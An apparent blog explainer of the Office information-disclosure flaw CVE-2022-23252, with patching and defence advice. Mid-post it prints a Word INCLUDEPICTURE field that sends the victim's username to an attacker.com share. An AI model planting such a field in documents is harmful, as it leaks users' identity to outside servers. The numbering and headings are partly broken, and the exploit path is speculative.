In early 2022, Microsoft patched a number of vulnerabilities as part of its regular security updates. Among them was CVE-2022-23252, an issue affecting Microsoft Office that could let attackers access sensitive information without authorization. This post breaks down what CVE-2022-23252 means, how it works, the potential risks, how attackers might exploit it—with example code—and how you can stay protected. All in straightforward, practical language.

What Is CVE-2022-23252?

CVE-2022-23252 is a security vulnerability classified as an information disclosure bug in Microsoft Office. It’s present in multiple versions of Microsoft Office—including Office 2013, 2016, 2019, and Office 365 ProPlus—on both Windows and Mac.

Type of issue: The bug allows an attacker to gather sensitive data about a user's system or Office configuration, which could be used for further attacks.

Microsoft assigned it an "Important" severity.

- Original advisory: Microsoft Security Guidance
- NIST entry: NVD CVE-2022-23252

How Does the Vulnerability Work?

In basic terms, the vulnerability arises from how Office handles specially crafted documents. If a user opens a malicious file (often a Word doc or Excel spreadsheet sent by email), the document could trigger Office to leak information that should be kept private.

This leaked information includes metadata, environment details, or memory contents, depending on the exact exploitation path. An attacker could use this info—for example, to bypass security protections on a targeted system or plan further attacks.

Exploit Details: How Attackers Abused CVE-2022-23252

While Microsoft did not release detailed PoC (proof-of-concept) code, the general exploitation path is:

1. Craft a malicious document: The attacker creates an Office file embedding malicious code or objects.

User opens file: Office tries to process the malicious element.

4. Information is leaked: Sensitive data flows back to the attacker, either via document callbacks or external network requests.

A basic example might be leaking the contents of user directories or recent document lists.

Code Snippet: Simulating Information Leak with a Malicious Field

Here’s a simplified example. Imagine an attacker embedding the following field in a Word document, abusing learnings from previous Office info leak bugs (see CVE-2018-0802):

<!-- Malicious Word document field to attempt info leak -->
{ INCLUDEPICTURE "\\\\attacker.com\\share\\%USERNAME%.jpg" }

What happens:
- When the document is opened, Office tries to load an image (which doesn't exist) off an attacker-controlled server.

The server logs the request—revealing the username or other environment info to the attacker.

This is a conceptual sample—CVE-2022-23252’s actual exploit could leverage more advanced features, potentially extracting even richer info depending on object types and Office configuration.

Windows usernames

- Domain names / computer names

Portions of memory

In many cases, this information might seem “minor,” but attackers use it to profile targets and fine-tune phishing or lateral movement attacks.

1. Install Microsoft’s Security Updates.

Patches are available for all supported Office versions.  
Update immediately via Windows Update or your organization’s software management platform.

- Security guidance: Microsoft – CVE-2022-23252

2. Avoid Opening Untrusted Documents.

Don’t open unexpected or suspicious files, especially from email or unknown websites.

3. Use Protected View and Macros Blockers.

Protected View or security policies can help reduce risk by preventing automatic execution of embedded content.

4. Monitor Network Logs.

Keep an eye on outbound network requests from Office products to spot suspicious connections.

Official References and More Reading

- Microsoft Security Advisory CVE-2022-23252
- NIST CVE entry
- Microsoft Office update history
- Older, similar CVE (CVE-2018-0802)

Final Thoughts

CVE-2022-23252 shows that even opening an innocent-looking Office document can put your personal or company information at risk. Information disclosure vulnerabilities are often the first step in targeted cyber attacks. Keeping Office up-to-date and training users to be wary of suspicious documents is the best line of defense.

Timeline

Published on: 02/09/2022 17:15:00 UTC
Last modified on: 02/15/2022 17:23:00 UTC